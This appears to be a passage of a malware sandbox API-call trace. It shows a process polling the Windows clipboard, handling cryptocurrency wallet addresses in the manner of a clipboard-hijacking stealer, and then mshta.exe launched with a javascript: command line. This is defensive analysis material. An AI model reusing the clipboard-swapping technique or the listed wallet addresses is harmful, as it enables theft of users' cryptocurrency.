lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0054.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0054.818] Sleep (dwMilliseconds=0x64) [0054.920] GetOpenClipboardWindow () returned 0x0 [0054.920] OpenClipboard (hWndNewOwner=0x0) returned 1 [0054.920] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0054.920] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0054.920] GlobalSize (hMem=0x6069b8) returned 0x42 [0054.920] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0054.920] GlobalUnlock (hMem=0x6069b8) returned 1 [0054.920] CloseClipboard () returned 1 [0054.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0054.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0054.924] Sleep (dwMilliseconds=0x64) [0055.033] GetOpenClipboardWindow () returned 0x0 [0055.047] OpenClipboard (hWndNewOwner=0x0) returned 1 [0055.047] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0055.047] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0055.047] GlobalSize (hMem=0x6069b8) returned 0x42 [0055.047] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="-]=7g4');\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 58 os_tid = 0x86c [0040.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x30fbcc | out: lpSystemTimeAsFileTime=0x30fbcc*(dwLowDateTime=0x3b5531a0, dwHighDateTime=0x1d5ddc0)) [0040.712] GetCurrentProcessId () returned 0x7b4 [0040.712] GetCurrentThreadId () returned 0x86c [0040.712] GetTickCount () returned 0x1153cc3 [0040.712] QueryPerformanceCounter (in: lpPerformanceCount=0x30fbc4 | out: lpPerformanceCount=0x30fbc4*=18247845406) returned 1 [0040.712] GetModuleHandleA (lpModuleName=0x0) returned 0x120000 [0040.712] GetStartupInfoA (in: lpStartupInfo=0x30fad8 | out: lpStartupInfo=0x30fad8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\mshta.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0040.712] GetVersionExA (in: lpVersionInformation=0x30fb28*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x30fb28*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0040.712] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x7c0000 [0040.713] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0040.713] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0040.713] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0040.713] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0040.713] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0040.713] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.713] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0040.713] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.714] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0040.714] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.714] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0040.714] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.714] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0040.714] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.714] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0040.714] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.714] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0040.714] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.714] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0040.714] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.714] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.715] GetModuleHandleW (lpModuleName="kernelbase.dll") returned 0x75410000 [0040.715] GetProcAddress (hModule=0x75410000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7542004f [0040.715] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.715] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0040.715] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.715] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.715] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.715] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.715] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.715] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.715] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.715] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.716] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.716] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.716] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.716] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.716] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.716] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.716] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.716] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.716] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.716] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.717] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.717] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.717] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.717] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.717] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.717] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.717] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.717] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.717] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.717] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.717] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x214) returned 0x7c07d0 [0040.718] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.718] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.718] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0040.718] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0040.718] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0040.718] GetStartupInfoA (in: lpStartupInfo=0x30fa5c | out: lpStartupInfo=0x30fa5c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\mshta.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0040.718] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x480) returned 0x7c09f0 [0040.718] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0040.718] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0040.718] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0040.849] SetHandleCount (uNumber=0x20) returned 0x20 [0040.849] GetCommandLineA () returned="mshta.exe \"javascript:document.write('');\"" [0040.849] GetEnvironmentStringsW () returned 0x520250* [0040.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0040.849] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x565) returned 0x7c0e78 [0040.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x7c0e78, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0040.849] FreeEnvironmentStringsW (penv=0x520250) returned 1 [0040.849] GetLastError () returned 0x0 [0040.849] SetLastError (dwErrCode=0x0) [0040.849] GetLastError () returned 0x0 [0040.849] SetLastError (dwErrCode=0x0) [0040.849] GetLastError () returned 0x0 [0040.850] SetLastError (dwErrCode=0x0) [0040.850] GetACP () returned 0x4e4 [0040.850] RtlAllocateHeap 